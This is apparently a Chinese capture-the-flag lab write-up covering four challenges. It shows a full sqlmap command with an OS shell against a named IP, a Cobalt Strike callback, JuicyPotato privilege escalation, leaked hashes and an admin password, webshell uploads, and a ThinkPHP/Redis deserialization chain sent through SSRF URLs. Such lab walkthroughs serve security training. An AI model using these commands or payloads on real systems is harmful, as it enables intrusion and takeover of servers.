Web-Data
访问站点发现是某个会议系统,信息收集扫一下目录文件
/report/存在未授权访问
关于处泄露开发厂商,访问过去拿到源码开始代码审计
/report/目录下的aspx文件也都是未授权状态,这里看完了其他文件仔细看了一下data_list.aspx文件及其dll封装的后端代码,使用dnSpy逆向dll进入Book.Report.data_list方法内
存在dt参数且没进过任何过滤直接带到ExeDataSet执行造成sql注入
python sqlmap.py -u "http://103.164.63.231/report/data_list.aspx?dt=2024-01-25%27)=0%20*order%20by%20begintime%20asc--" -v 3 --dbms=mssql --random-agent --tamper=space20a --technique=BEUS --os-shell
使用--os-shell开启xp_cmdshell执行命令,有字符返回执行powshell上线CS
这里使用烂土豆进行权限提升到system权限读取flag
moonsec_flag{698d51a19d8a121ce581499d7b701668}
Web-Server:
通过1.8这台主机上来以后发现存在1.7主机且开放web相同web服务猜测站库分离,一开始想通过猕猴桃加载1.8管理员token启动mssql服务再登陆后台尝试shell的,但是老有人挤我3389,索性在先前sql注入处--sql-shell
查询book库users_users表内的账户和密码字段
[*] 6ECE4FD51BC113942692637D9D4B860E $HEX[310031003100]
[*] EFA1DA2B0FDF866CB9A9A989DAB45127 QAZwsx123@
用户名admin密码QAZwsx123@进入后台
后台随手就是注入,这时候sql已经没用了,再代码审计
Userimport方法内存在文件上传,且文件后缀名未被写死
上传文件以后会显示500,刚好/temp/目录也是未授权的,可以直接拿到shell
上线CS使用烂土豆提至system权限
shell type c:UsersAcministratorroot.txt
moonsec_flag{202cb962ac59075b964b07152d234b70}
Jave-Upload:
CBoard系统信息收集拿到了源码和默认账号密码:admin/root123
代码审计发现Dashboard路由,加载了uploadImage文件上传处理接口,还有imgPath文件路径的处理
shell地址/imgs/cockpit/upload/20240131084816/123.jsp
moonsec_flag{eeac7f42e6fe8b0bf424734bb7d3c05d}
Thinkphp-Redis:
thinkphp5.0.24+redis反序列化直接改poc打
先打个创建dome序列化
输出到本地
然后再使用bitop命令Redis缓存值按位计算并获取结果保存文件名782:/public/index.php/Index/Index/geturl?url=dict://127.0.0.1:6379/bitop:not:782:think_serialize
然后再把保存的缓存文件加载到Redis内:/public/index.php/Index/Index/getname?name=782
demo目录创建成功,尝试getshell
poc里面的path参数换一下即可
访问过去phpinfo()执行成功
cat /flag/乱七八糟.falg
moonsec_flag{6d4db5ff0c117864a02827bad3c361b9}
原文始发于微信公众号(ON1安全):靶场|记一次代码审计靶场速通
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论